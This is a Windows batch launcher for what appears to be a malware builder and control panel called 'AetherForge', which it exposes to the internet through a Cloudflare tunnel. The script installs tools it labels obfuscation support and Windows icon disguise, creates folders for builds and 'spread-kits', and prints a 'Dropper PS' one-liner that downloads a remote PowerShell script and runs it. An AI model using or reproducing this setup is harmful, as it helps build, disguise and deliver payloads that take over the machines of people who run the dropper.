@echo off setlocal EnableExtensions EnableDelayedExpansion title AetherForge Control Deck cd /d "%~dp0" set "ROOT=%CD%" echo. echo ================================================================ echo AetherForge - Portable Control Deck echo ================================================================ echo. :: ---------------------------------------------------------------- :: 1. Locate Go - prefer bundled toolchain, fall back to system Go :: ---------------------------------------------------------------- set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe" set "GO_BIN=" if exist "%BUNDLED_GO%" ( echo [Go] Using bundled toolchain: %ROOT%\toolchain\go set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" set "GOROOT=%ROOT%\toolchain\go" set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" goto go_ready ) :: Check if Go is installed system-wide where go >nul 2>nul if not errorlevel 1 ( echo [Go] Using system Go installation. set "GO_BIN=go" goto go_ready ) :: Go not found - offer to download portable toolchain echo [Go] Not found. Downloading portable Go toolchain... echo This only happens once. The toolchain is saved to toolchain\go\ echo. if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( set "GO_ARCH=amd64" ) else ( if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" ( set "GO_ARCH=arm64" ) else ( set "GO_ARCH=386" ) ) set "GO_VERSION=1.22.4" set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip" set "GO_URL=https://go.dev/dl/%GO_ZIP%" set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip" powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }" if errorlevel 1 ( echo. echo ERROR: Could not download Go. Please either: echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go echo. pause exit /b 1 ) echo [Go] Extracting toolchain... powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force" del "%GO_DEST%" 2>nul if not exist "%BUNDLED_GO%" ( echo ERROR: Extraction failed. pause exit /b 1 ) set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" set "GOROOT=%ROOT%\toolchain\go" set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" echo [Go] Toolchain ready. :go_ready :: ---------------------------------------------------------------- :: 2. Pin all Go caches to the USB so module downloads travel with you :: ---------------------------------------------------------------- set "GOPATH=%ROOT%\toolchain\gopath" set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod" set "GOCACHE=%ROOT%\toolchain\gocache" set "GOENV=off" :: ---------------------------------------------------------------- :: 3. Install optional Forge tools if missing (non-fatal) :: ---------------------------------------------------------------- if /i "%AF_INSTALL_TOOLS%"=="1" ( if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" ( echo [Tools] Installing garble - obfuscation support... "%GO_BIN%" install mvdan.cc/garble@latest if errorlevel 1 ( echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped. ) else ( echo [Tools] garble ready. ) ) if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" ( echo [Tools] Installing go-winres - Windows icon disguise... "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1 if errorlevel 1 ( echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped. ) else ( echo [Tools] go-winres ready. ) ) ) else ( echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install. ) :: ---------------------------------------------------------------- :: 4. Ensure data directories exist :: ---------------------------------------------------------------- if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds" if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs" if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits" if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare" :: ---------------------------------------------------------------- :: 5. Cloudflare Tunnel — auto-install, configure, start :: ---------------------------------------------------------------- set "CF_DIR=%ROOT%\cloudflare" set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json" set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi" set "CF_HOSTNAME=killa.thetempleofdoom.com" set "CF_DATA=%ROOT%\data\cloudflare" set "SERVER_PORT=8989" set "CF_BIN=" set "CF_TUNNEL_ID=" set "CF_READY=0" :: Check credentials exist and are real (not the placeholder) if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul if errorlevel 1 goto cf_no_creds :: Parse tunnel ID from credentials JSON for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i" if "!CF_TUNNEL_ID!"=="" goto cf_no_creds echo [CF] Tunnel ID: !CF_TUNNEL_ID! :: Stage credentials into data\cloudflare\ (idempotent) set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json" if not exist "!CF_CREDS_LOCAL!" ( copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul echo [CF] Credentials staged to data\cloudflare\ ) :: Always regenerate config.yml with current absolute paths :: (handles drive-letter changes when USB is moved) set "CF_CONFIG=%CF_DATA%\config.yml" powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT% :: ---- Locate or install cloudflared ---- where cloudflared >nul 2>nul if not errorlevel 1 ( set "CF_BIN=cloudflared" goto cf_have_bin ) if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" goto cf_have_bin ) if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" ( set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" goto cf_have_bin ) :: Not found — install from bundled MSI if exist "%CF_MSI%" ( echo [CF] cloudflared not found. Installing from bundled MSI... msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log" echo [CF] MSI install launched - waiting... ping -n 8 127.0.0.1 >nul if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" echo [CF] cloudflared installed successfully. goto cf_have_bin ) where cloudflared >nul 2>nul if not errorlevel 1 ( set "CF_BIN=cloudflared" echo [CF] cloudflared installed successfully. goto cf_have_bin ) echo [CF] WARNING: MSI completed but cloudflared not found in PATH. echo [CF] Try re-running LAUNCH.bat after a reboot. goto cf_done ) else ( echo [CF] WARNING: cloudflared not installed and no MSI bundled. goto cf_done ) :cf_have_bin echo [CF] Binary: !CF_BIN! :: Check if cloudflared tunnel already running (same process = skip) tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul if not errorlevel 1 ( echo [CF] Tunnel already running on this machine. echo [CF] https://!CF_HOSTNAME! set "CF_READY=1" goto cf_done ) :: Start cloudflared tunnel in background echo [CF] Starting Cloudflare tunnel... start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run ping -n 5 127.0.0.1 >nul echo [CF] Tunnel live: https://!CF_HOSTNAME! set "CF_READY=1" goto cf_done :cf_no_creds echo [CF] No valid credentials.json in cloudflare\ echo [CF] See cloudflare\SETUP.txt to configure your tunnel once. echo [CF] Running in LAN-only mode this session. :cf_done :: ---------------------------------------------------------------- :: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "LAN_IP=localhost" :: ---------------------------------------------------------------- :: 7. Kill any stale server process :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. echo ================================================================ echo STARTING CONTROL DECK echo ================================================================ echo Local: http://localhost:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT% if "!CF_READY!"=="1" ( echo Public: https://!CF_HOSTNAME! echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1' ) echo Data: %ROOT%\data\ echo. echo First run: admin password printed to console below. echo Press Ctrl+C to stop. echo ================================================================ echo. :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" :: Launch server "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" echo. if "!EC!"=="0" ( echo [Server] Stopped normally. ) else ( echo [Server] Exited with code !EC!. echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry. ) :: On exit, also stop the cloudflared tunnel taskkill /F /IM cloudflared.exe >nul 2>nul echo. pause endlocal